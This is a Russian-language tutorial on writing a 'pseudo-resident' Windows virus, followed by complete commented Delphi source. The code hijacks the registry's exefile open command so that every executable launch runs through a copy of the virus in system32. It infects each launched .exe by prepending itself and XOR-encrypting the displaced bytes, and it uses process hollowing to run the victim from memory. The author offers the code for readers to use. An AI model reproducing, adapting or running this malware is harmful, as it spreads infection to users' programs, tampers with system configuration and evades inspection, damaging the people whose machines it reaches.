В целом, заражение запускаемых файлов не редко, а напротив, очень даже часто встречалось в DOS, особенно .COM вирусах, написанных на асме – и такие вирусы исконно назывались резидентными, т.к. они сидели в памяти и ждали своёго часа что бы напакостить. Об этих вирусах мы поговорим в уроках о вирусах на Ассемблере. Что же такое псевдорезидентность в WINDOWS? И как её реализовать? Суть псевдорезидентности кроется в том, что в этом случае ни какого вируса в памяти просто нет. А как же тогда происходит «отлов» наших «кроликов»? Да всё просто. В WINDOWS имеется раздел реестра - HKEY_CLASSES_ROOT – в нем система хранит информацию о том как поступать и понимать со всеми зарегестрироваными расширениями системы. Дело в том что и расширение .exe то же не обошла эта участь и относится это расширение к типу exefile. Рассмотрим ключ реестра: HKEY_CLASSES_ROOT\exefile\shell\open\command в частности его параметр по умолчанию. Что же там такого интересного? А вот что: "%1" %*. Это означает что если вы кликаете по .exe то он запускается с по пути своего расположения на диске и ему передаются все параметры командной строки. В общем ни чего особенного. А что если мы етот параметр изменим вот так: c:\windows\system32\cmd.exe /c %1 %* , что из этого получится? Всё просто, все программы по-прежнему будут запускаться, но уже с не сами, а с помощью файла CMD.EXE – командная строка WINDOWS. Т.е. сначала запускается командная строка, а затем она запускает программу и передаёт ей все параметры командной строки (масло масленое – ну и ладна). Как можно использовать этот забавный прикол, я думаю уже многие догадались, поэтому переходим к рассмотрению общего алгоритма действия псевдорезидентного вируса: 1)Запуск 2)Проверка наличия копии в системе – если нет копии, то копируемся в систему и изменяем ключ в реестре размещая себя, как программу для запуска всех exefile. Устанавливаем стартовое слово. Ключ выглядит так: путь_копирования_вируса СТАРТОВОЕ_СЛОВО %1 %* . 3)Проверяем, запущены мы из жертвы или в свободном виде – если из жертвы извлекаем жертву и запускаем (это касается HLLP и от части, HLLC.) 4)Смотрим командную строку к себе – если первый параметр равен стартовому слову, то заражаем файл путь к которому определяется вторым параметром строки. 5)Запускаем файл путь к которому передан вторым параметром командной строки и передаем ему параметры начиная с третьего (если они есть). 6)Завершаем работу.
Стартовое слово – это наверно вас немного запутало? Оно необходимо что бы вирус знал, что запущен именно для заражения, а не первый раз. Это слово может быть любым на ваш вкус, только не должно содержать пробелов. В этом уроке я решил отказаться от создания исходников на Turbo Pascal поэтому привожу сорец этого вируса только на языке Delphi, причём исходник будет для компиляции без RTL. Размер получившегося зверя составил, после упаковки FSG2 – 2733 байта - вроде бы совсем немного. Все необходимые типы перенесены и отлажено. Так же в этом исходнике вы найдёте процедуру MemoryExecute – которая, до этого мной не приводилась. Эта замечательная процедура осуществляет запуск жертвы непосредственно в оперативную память, а это уже совершенно новый уровень. Исходный текст полностью откоментирован и пояснён, поэтому предлагаю вам разобраться с ним самостоятельно. Вот этот исходник: {$M 2500000} Program virkill1; //Далее идут константы применяемые в коде const VirSize = 2733;//Размер вируса после пака, т.е. его рабочий размер MaxVictim = 1000000;//Максимальный размер жертвы K = 8; //Количество элементов сигнатуры
signature : array //Положение байтов сигнатуры.. [0..K-1] of INTEGER = //Вы можете сами эти положения ( //и их количество установить $560,$456,$678,$705, $5FF,$4FD,$60E,$735 ); FILE_ATTRIBUTE_NORMAL = $00000080;//Общий атрибут FILE_SHARE_WRITE = $00000002;//Запись в файл FILE_SHARE_READ = $00000001;//Чтение из файла MAX_PATH = 260;//Максимальная длина пути GENERIC_READ = INTEGER($80000000);//Открыть для чтения GENERIC_WRITE = $40000000;//Открыть для записи OPEN_EXISTING = 3;//Открытие для выполнения FILE_END = 2;//Счет с конца файла FILE_BEGIN = 0;//Счет с начала файла MEM_RESERVE = $2000;//Выделение памяти PAGE_EXECUTE_READ = $20;//Чтение и выполнение страници PAGE_EXECUTE = $10;//Выполнение страници CONTEXT_INTEGER = ($10000 or $00000002); PAGE_EXECUTE_READWRITE = $40;//Выполнение, чтение и запись страници MEM_COMMIT = $1000;//Передача в память PAGE_READWRITE = 4;//Чтение и запись страници CREATE_SUSPENDED = $00000004;//Сощдание файла прервано PAGE_NOACCESS = 1;//Старница не найдена PAGE_READONLY = 2;//Страница доступна только для чтения
//Типы применяемые в вирусе. Я не буду описывать поля записей, //т.к. это очень нудно и не нужно, я становлюсь на самом важном type PathBuf = array [0..MAX_PATH] of char;//Буфер пути к файлу PVOID = Pointer; NTSTATUS = LongInt; DWORD = integer; ULONG = integer; BOOL = BOOLEAN; HANDLE = integer; ULONG_PTR = Cardinal; PByte = ^Byte; THandle = integer; SIZE_T = Cardinal; HINST = Integer; LPVOID = Pointer; UINT = INTEGER; HKey = INTEGER;
TCharArray = Array[0..255] Of Char; TCrypterInfo = Record DropFiles : Boolean; DropPath : TCharArray; End;
TISHMisc = packed record case Integer of 0: (PhysicalAddress: DWORD); 1: (VirtualSize: DWORD); end;
TImageNtHeaders = packed record//NT заголовок Signature : DWORD;//Сигнатура PE FileHeader : TImageFileHeader;//Основная часть NT заголовка OptionalHeader : TImageOptionalHeader;//Дополнительная часть NT заголовка end;
PImageSectionHeaders = ^TImageSectionHeaders;
TImageSectionHeaders = Array [0..95] Of TImageSectionHeader;
TPROCESSINFORMATION = record //Информация о процессе hProcess : THandle; hThread : THandle; dwProcessId : DWORD; dwThreadId : DWORD; end;
//Не применяется, необходим для импорта некоторых функций PSecurityAttributes = ^TSecurityAttributes;
//Не применяется, необходим для импорта некоторых функций TSecurityAttributes = record nLength : DWORD; lpSecurityDescriptor : Pointer; bInheritHandle : BOOL; end;
//Не применяется, необходим для импорта некоторых функций POverlapped = ^TOverlapped; TOverlapped = record Internal: Cardinal; InternalHigh: Cardinal; Offset: Cardinal; OffsetHigh: Cardinal; hEvent: Cardinal; end;
function lstrcpy(lpString1, lpString2: PChar): PChar; stdcall; external kernel32 name 'lstrcpyA'; // Копиpует lpString2 (включая пустой символ) в lpString1. function lstrcat(lpString1, lpString2: PChar): PChar; stdcall; external kernel32 name 'lstrcatA'; //Сцепляет lpString1 с lpString2. function CreateFile(lpFileName: PAnsiChar; dwDesiredAccess, dwShareMode: INTEGER; lpSecurityAttributes:PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: Cardinal; hTemplateFile: INTEGER): INTEGER; stdcall; external kernel32 name 'CreateFileA'; //Создает или открывает следующие объекты и возвращает Хендл (handle), для получения доступа к объекту function WriteFile(hFile: INTEGER; const Buffer; nNumberOfBytesToWrite: INTEGER; var lpNumberOfBytesWritten: INTEGER; lpOverlapped:POverlapped): Boolean; stdcall; external kernel32 name 'WriteFile'; //Запись в файл function GetFileSize(hFile: INTEGER; lpFileSizeHigh: Pointer): INTEGER; stdcall; external kernel32 name 'GetFileSize'; //Определение размера файла function CloseHandle(hObject: INTEGER): Boolean; stdcall; external kernel32 name 'CloseHandle'; //Закрытие хендла объекта открытого CreateFile function SetFilePointer(hFile: THandle; lDistanceToMove: Longint; lpDistanceToMoveHigh: Pointer; dwMoveMethod: LongWORD): LongWORD; stdcall; external kernel32 name 'SetFilePointer'; //Установка указателя записи/чтения в заданную позицию function ReadFile(hFile: THandle; var Buffer; nNumberOfBytesToRead: INTEGER; var lpNumberOfBytesRead: INTEGER; lpOverlapped:POverlapped): BOOLEAN; stdcall; external kernel32 name 'ReadFile'; //Чтение из файла function GetModuleFileName(hModule: HINST; lpFilename: PChar; nSize: INTEGER): INTEGER; stdcall; external kernel32 name 'GetModuleFileNameA'; //Считывает полное имя маpшpута (заканчивающееся пустым символом) исполнимого файла для указанного модуля function GetCommandLine: PChar; stdcall; external kernel32 name 'GetCommandLineA'; //Получает полную командную строку к файлу function WinExec(lpCmdLine: PChar; uCmdShow: INTEGER): INTEGER; stdcall; external kernel32 name 'WinExec'; // Выполняет пpикладную задачу, указанную паpаметpом CmdLine procedure ExitProcess(uExitCode: INTEGER); stdcall; external 'kernel32.dll' name 'ExitProcess'; //Выход из процесса с заданным кодом выхода function CreateProcess(lpApplicationName: PChar; lpCommandLine: PChar; lpProcessAttributes, lpThreadAttributes: PSecurityAttributes; bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer; lpCurrentDirectory: PChar; const lpStartupInfo: TStartupInfo; var lpProcessInformation: TProcessInformation): BOOL; stdcall; external kernel32 name 'CreateProcessA'; //Открытие/создание процесса function SetThreadContext(hThread: THandle; const lpContext: TContext): BOOL; stdcall; external kernel32 name 'SetThreadContext'; //Присвоение контекста потока function WriteProcessMemory(hProcess: THandle; const lpBaseAddress: Pointer; lpBuffer: Pointer; nSize: DWORD; var lpNumberOfBytesWritten: DWORD): BOOL; stdcall; external kernel32 name 'WriteProcessMemory'; //Запись в процесс function VirtualProtectEx(hProcess: HANDLE; lpAddress: LPVOID; dwSize: SIZE_T; flNewProtect: DWORD; var lpflOldProtect: DWORD): BOOL; stdcall; external kernel32 name 'VirtualProtectEx'; //Защита памяти function ResumeThread(hThread: THandle): DWORD; stdcall; external kernel32 name 'ResumeThread'; //Завершение работы с потоком function ZwUnmapViewOfSection(ProcessHandle: HANDLE; BaseAddress: PVOID): NTSTATUS; stdcall; external ntdll name 'ZwUnmapViewOfSection'; //Вид невыгруженой секции function GetThreadContext(hThread: THandle; var lpContext: TContext): BOOL; stdcall; external kernel32 name 'GetThreadContext'; //Получение контекста потока function ReadProcessMemory(hProcess: THandle; const lpBaseAddress: Pointer; lpBuffer: Pointer; nSize: DWORD; var lpNumberOfBytesRead: DWORD): BOOL; stdcall; external kernel32 name 'ReadProcessMemory'; //Чтение из процесса function VirtualAllocEx(hProcess: HANDLE; lpAddress: LPVOID; dwSize: SIZE_T; flAllocationType: DWORD; flProtect: DWORD): LPVOID; stdcall; external kernel32 name 'VirtualAllocEx'; //Выделение памяти function TerminateProcess(hProcess: THandle; uExitCode: UINT): BOOL; stdcall; external kernel32 name 'TerminateProcess'; //Убийство процесса function lstrlen(lpString: PChar): Integer; stdcall; external kernel32 name 'lstrlenA'; //Определение дляны строки function GetWindowsDirectory(lpBuffer: PChar; uSize: UINT): UINT; stdcall; external kernel32 name 'GetWindowsDirectoryA'; //Функция получает путь к папке винды function RegCreateKey(hKey: HKEY; lpSubKey: PChar; var phkResult: HKEY): Longint; stdcall; external advapi32 name 'RegCreateKeyA'; //Открыкие ключа function RegSetValueEx(hKey: HKEY; lpValueName: PChar; Reserved: DWORD; dwType: DWORD; lpData: Pointer; cbData: DWORD): Longint; stdcall; external advapi32 name 'RegSetValueExA'; //Установка значения ключа function RegCloseKey(hKey: HKEY): Longint; stdcall; external advapi32 name 'RegCloseKey'; //Закрытие ключа
var METKA : array [0..K-1] of char;//Массив хранящий в рабочую сессию сигнатуру Self : boolean; //Переменная равна true если вирус запущен в чистом виде
(*Упрощенная до необходимого Delphi функция FillChar*) procedure FChar(var Dest; count: Integer; Value: integer); asm PUSH EDI MOV EDI,EAX MOV CH,CL MOV EAX,ECX SHL EAX,16 MOV AX,CX MOV ECX,EDX SAR ECX,2 JS @@exit REP STOSD MOV ECX,EDX AND ECX,3 REP STOSB @@exit: POP EDI end;
(*Получение образа первой секции заголовка*) Function ImageFirstSection(NTHeader: PImageNTHeaders): PImageSectionHeader; Begin Result := PImageSectionheader( ULONG_PTR(@NTheader.OptionalHeader) + NTHeader.FileHeader.SizeOfOptionalHeader); End;
(*Защита секций*) Function Protect(Characteristics: ULONG): ULONG; Const Mapping :Array[0..7] Of ULONG = ( PAGE_NOACCESS, PAGE_EXECUTE, PAGE_READONLY, PAGE_EXECUTE_READ, PAGE_READWRITE, PAGE_EXECUTE_READWRITE, PAGE_READWRITE, PAGE_EXECUTE_READWRITE ); Begin Result := Mapping[ Characteristics SHR 29 ]; End;
(* Данная процедура осуществляет запуск программы в память. Ей необходимо дать указатель на облать памяти где находятся байты ехе файла, имя процесса, в нашем случае текущее имя и командню строку.. *) procedure MemoryExecute(Buffer: Pointer; ProcessName, Parameters: PChar); Var BaseAddress :Pointer; I :ULONG; Success :Boolean; NTHeaders :PImageNTHeaders; Sections :PImageSectionHeaders; StartupInfo :TStartupInfo; OldProtect :ULONG; BytesRead :DWORD; ProcessInfo :TProcessInformation; BytesWritten :DWORD; Context :TContext; Begin FChar(ProcessInfo, SizeOf(TProcessInformation), 0); FChar(StartupInfo, SizeOf(TStartupInfo), 0); //Выделение памяти под переменный StartupInfo.cb := SizeOf(TStartupInfo); StartupInfo.wShowWindow := Word(false); //Предварительное назначение полей записей If (CreateProcess(ProcessName, Parameters, NIL, NIL, False, CREATE_SUSPENDED, NIL, NIL, StartupInfo, ProcessInfo)) Then //Создаем новый процесс, с заданными параметрами, если создание прошло успешно то.. Begin Success := True;//Успешное выполнение операции..
Try Context.ContextFlags := CONTEXT_INTEGER; If (GetThreadContext(ProcessInfo.hThread, Context) And (ReadProcessMemory(ProcessInfo.hProcess, Pointer(Context.Ebx + 8), @BaseAddress, SizeOf(BaseAddress), BytesRead)) And (ZwUnmapViewOfSection(ProcessInfo.hProcess, BaseAddress) >= 0) And (Assigned(Buffer))) Then //Если процесс успешно открыт для записи то.. Begin NTHeaders := PImageNTHeaders(Cardinal(Buffer) + Cardinal(PImageDosHeader(Buffer)._lfanew)); //Получаем NT заголовок BaseAddress := VirtualAllocEx(ProcessInfo.hProcess, Pointer(NTHeaders.OptionalHeader.ImageBase), NTHeaders.OptionalHeader.SizeOfImage, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE); //Выделяем память под заголовок и получаем адрес начального участка.. If (Assigned(BaseAddress)) And (WriteProcessMemory(ProcessInfo.hProcess, BaseAddress, Buffer, NTHeaders.OptionalHeader.SizeOfHeaders, BytesWritten)) Then //Если процесс доступен для записи и записан NT заголовок то.. Begin Sections := PImageSectionHeaders(ImageFirstSection(NTHeaders)); //Получаем секции заголовка For I := 0 To NTHeaders.FileHeader.NumberOfSections -1 Do //По очереди пишем все секции If (WriteProcessMemory(ProcessInfo.hProcess, Pointer(Cardinal(BaseAddress) + Sections[I].VirtualAddress), Pointer(Cardinal(Buffer) + Sections[I].PointerToRawData), Sections[I].SizeOfRawData, BytesWritten)) Then VirtualProtectEx(ProcessInfo.hProcess, Pointer(Cardinal(BaseAddress) + Sections[I].VirtualAddress), Sections[I].Misc.VirtualSize, Protect(Sections[I].Characteristics), OldProtect);
If (WriteProcessMemory(ProcessInfo.hProcess, Pointer(Context.Ebx + 8), @BaseAddress, SizeOf(BaseAddress), BytesWritten)) Then
//Если удачно записано то.. Begin Context.Eax := ULONG(BaseAddress) + NTHeaders.OptionalHeader.AddressOfEntryPoint; Success := SetThreadContext(ProcessInfo.hThread, Context); //Если успешно присвоили контекст потока.. End; End; End; Finally If (Not Success) Then//Если на какой-то стадии операция несовершена успешно TerminateProcess(ProcessInfo.hProcess, 0)//Убиваем процесс Else ResumeThread(ProcessInfo.hThread);//Закрываем поток End; End; End;
(* Эта функция считывает из файла запуска сигнатуру, которая будет использоваться в рабочей сессии для проверки зараженности потенциальных жертв. Так же функция возвращает логическое состояние которое определяет находит вирус в свободном состоянии или сидит в жертве. *) Procedure SetParam; var pch : pchar; F : INTEGER; i : INTEGER; B : INTEGER; begin Self:=false;//По умолчанию вирус сидит в жертве GetModuleFileName(0, pch, Max_Path);//Опеделяем путь к себе F:=CreateFile(pch, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); //Открываем себя для чтения for i:=0 to K-1 do//Считываем сигнатуру begin SetFilePointer(F, signature[i], nil, FILE_BEGIN);//Переходим в позицию элемента сигнатуры ReadFile(F, METKA[i], 1, B, nil);//Читаем элемент сигнатуры end; if GetFileSize(F,nil)=VirSize then Self:=true; //Если размер себя равен VirSize, значит вирус в свободном виде CloseHandle(F);//Закрываем себя end;
(* Этой функции даётся путь к потенциальной жертве, она проверяет наличие сигнатуры и если она есть значит программа уже заражена и наоборот. В зависимости от этого функция возвращает логический параметр: true - чисто, false - заражено. *) function Check(Path:PChar):boolean; var Buf : array [0..K-1] of char; //Буфер чтения сигнатуры из жертвы f : integer; B : INTEGER; i : INTEGER; begin F:=CreateFile(Path, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); //Открываем жертву для чтения for i:=0 to K-1 do //Читам сигнатуру жертвы и сравиваем со своей begin if (GetFileSize(F,nil)>MaxVictim) or (GetFileSize(F,nil)<VirSize) then begin Result:=false; Exit; end; SetFilePointer(F, signature[i], nil, FILE_BEGIN); //Переход на позицию элемента сигнатуры ReadFile(F, Buf[i], 1, B, nil); //Чтение элемента сигнатуры if Buf[i]<>METKA[i] then //Если не равно то.. begin Result:=true; break; end else Result:=false; end; CloseHandle(F); //Закрываем файл end;
(* При работе вируса имеется необходимость переносах данных с одного места в другое Функции даются следующие параметры: FromF, ToF - пути к файлам от куда и куда переносить данные; FromSeek,ToSeek- позиции чтения файлов; FromPos, ToPos: позиция начала чтения DataCount-количество переносимых байт; Crypt-шифрование.Функция при успешной операции возвращает true при наличии ошибки на любой стадии false, т.о. функция осуществляет контроль запущености. Перенос данных происходит за один буфер, что позволяет получить макс. скорость. *) function CopyData(FromF, ToF : PChar; FromSeek, ToSeek, FromPos, ToPos, DataCount : integer; Crypt : boolean) : boolean; var buf : array [1..MaxVictim] of byte; f1 : THandle; f2 : THandle; N : INTEGER; i : INTEGER; begin result:=false;//По дефаулту ошибка f1:=CreateFile(FromF,GENERIC_READ,FILE_SHARE_READ,nil,OPEN_EXISTING, 0,0); //Открытие файла-источника if f1=-1 then Exit;//Если ошибка - выход SetFilePointer(f1, FromSeek, nil, FromPos);//Переход на позицию чтения //Если файл больше или меньше необходимого - выход ReadFile(f1, Buf, DataCount, N, nil);//Читаем в буфер нужное количество байт CloseHandle(f1);//Закрываем файл-источник f2:=CreateFile(ToF, GENERIC_WRITE, FILE_SHARE_WRITE, nil, 3, FILE_ATTRIBUTE_NORMAL, 1); //Открытие существующего файла if f2=-1 then//Если ошибка то.. f2:=CreateFile(ToF, GENERIC_WRITE, FILE_SHARE_WRITE, nil, 1, FILE_ATTRIBUTE_NORMAL, 1); //Попытка создать новый файл (необходимо для самокопирования) if f2=-1 then exit;//Если ошибка - выход SetFilePointer(f2, ToSeek, nil, ToPos);//Переход на позицию записи if Crypt then for i:=1 to VirSize do buf[i]:=buf[i] xor 123; //Если выброно шифрование то шифруем/расшифровываем WriteFile(f2, Buf, DataCount, N, nil); //Запись в файл зашифрованной/расшифрованной информации CloseHandle(f2);//Закрытие файла result:=true;//Если дошли до сюда значит всё успешно сделано... end;
(* Функция проверяет наличие файла. При наличии возвращет true и наоборот.. *) function FileExists(path:PChar):boolean; var i : integer; begin i:=CreateFile(path, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); //Открываем существующий файл для чтения if i=-1 //если -1 значит ошибка, значит файла не then Result:=false else Result:=true;//файл есть end;
(* Данная процедура осуществляет запуск из себя в память жертвы, по окончанию цикла поиска жертв. В том случае если вирус находится не в жертве, эта процедура завершает работу вируса ни чего не производя. Так же эта процедура передает жертве командную строку, с которую вирус получил при запуске. *) Procedure InRun; var i : integer; f : integer; p : PChar; N : INTEGER; fs : integer; pch : PathBuf; buf : array [1..MaxVictim] of byte; begin if Self then ExitProcess(0);//Если не в жертве - выход из проги GetModuleFileName(0,pch,MAX_PATH);//Определяем путь к себе p:=GetCommandLine;//Определяем полную командную строку for i:=1 to MAX_PATH do if p[i]=#34 then break; //Вычисляем конец пулт к себе, т.е. далее //идут параметры командной строки с первого и далее f:=CreateFile(@pch,GENERIC_READ,FILE_SHARE_READ,nil,OPEN_EXISTING, 0,0); //Открываем себя для чтения fs:=GetFileSize(f,nil)-VirSize;//Вычисляем размер жертвы SetFilePointer(f, -VirSize, nil, FILE_END); //Переходим в конец файла к началу перенесенного //и зашифрованного при заражении фрагмента жертвы ReadFile(f, Buf, VirSize, N, nil); //Читаем фрагмент жертвы в первые Virsize байт буфера for i:=1 to VirSize do buf[i]:=buf[i] xor 123; //Расшифровываем фрагмент жертвы SetFilePointer(f, VirSize, nil, FILE_BEGIN); //Переходим на байт VirSize с начала ReadFile(f, Buf[VirSize+1], fs, N, nil); //Читаем оставшуюся часть программы в буфер CloseHandle(f);//Закрываем себя MemoryExecute(@Buf, @pch, @p[i+1]); //Вызываем процедуру запуска в память, передавая ей //указатель на буфер с данными, путь к себе и командную строку ExitProcess(0);//Выход из процесса end;
(* Эта процедура осуществляет заражение файла путь к которому передаётся в параметре path. *) Procedure Infect(Path:PChar); var pch : PathBuf; begin GetModuleFileName(0, pch, Max_Path); //Путь к файлу CopyData(path,path,0,0,FILE_BEGIN,FILE_END,VirSize,true); //Если копирование фрагмента из начала прошло успешно CopyData(pch,path,0,0,FILE_BEGIN,FILE_BEGIN,VirSize,false); //и копирование себя в начало с перезаписью прошло успешно то.. end;
(* Эта процедура предназдначена для обеспечения заражения каждого запущеннрго ехе-шника. Суть в следующем - делается копия в систему, изменения в реестре и каждый запуск юзером лубого ехе, проходит через копию в системе. *) Procedure RunInfect; const SubKey = 'exefile\shell\open\command'; HKCR = integer($80000000);{HKEY_CLASSES_ROOT} REG_SZ = 1; var i : integer; p : pchar; F1 : pathbuf; F2 : pathbuf; F3 : pathbuf; F4 : pathbuf; Key : integer; begin GetModuleFileName(0,F4,MAX_PATH);//Путь к себе GetWindowsDirectory(F2,MAX_PATH);//Путь к винде, на тот случай если //она стоит не там где обычно, ибо пути юзера неисповедимы)) LStrCpy(F1,#0);//Чистка и инициализация переменной LStrCat(F1,F2);//+строка LStrCat(F1,'\system32\');//+строка LStrCat(F1,CopyRun);//Создаём путь самокопирования if not FileExists(F1) then //Если нет своей копии в винде то.. begin LStrCpy(F3,#0);//Чистка и инициализация переменной LStrCat(F3,F1);//+строка LStrCat(F3,' Letov %1 %*');//Получили командную строку добавления ключа RegCreateKey(HKCR, SubKey, key);//Открываем ключ RegSetValueEx(key, #0, 0, REG_SZ, @F3, LStrLen(F3) + 1);//Устанавливаем значение RegCloseKey(key); //Закрываем ключ //в реестр, которая сделает каждый запуск ехе через копию виря в системе CopyData(F4,F1,0,0,FILE_BEGIN,FILE_BEGIN,VirSize,false); //если статус - заражение - самокопируемся в system32 с именем заданым константой CopyRun end; p:=GetCommandLine;//Определяем полную командную строку for i:=1 to MAX_PATH do if p[i]=#34 then break;//Ищем символ ", т.е. конец пути к себе if (p[i+2]='L') and (p[i+3]='e') and (p[i+4]='t') and (p[i+5]='o') and (p[i+6]='v') then //Если вирь получил командную строку Letov //(ДОБРАЯ ПАМЯТЬ ЕГОРУ ЛЕТОВУ) begin if Check(@p[i+8]) then Infect((@p[i+8])); //Если запускаемый юзером файл еще не заражен - исправляем эту оплошность)) WinExec(@p[i+8],1);//Запускем файл (лети птичка!!!) ExitProcess(0);//Выход из процесса end end;
begin SetParam;//Создаём сигнатуру, вычисляем self RunInfect;//Вызов заражения запускаемых if not Self then InRun;//Если не в чистом виде то запускаем жертву {КОНЕЦ} end.
Надеюсь исходник вам понравился и у вас появилися и у вас появились всякие перспективные мысли о его использовании. До встречи в следующих уроках.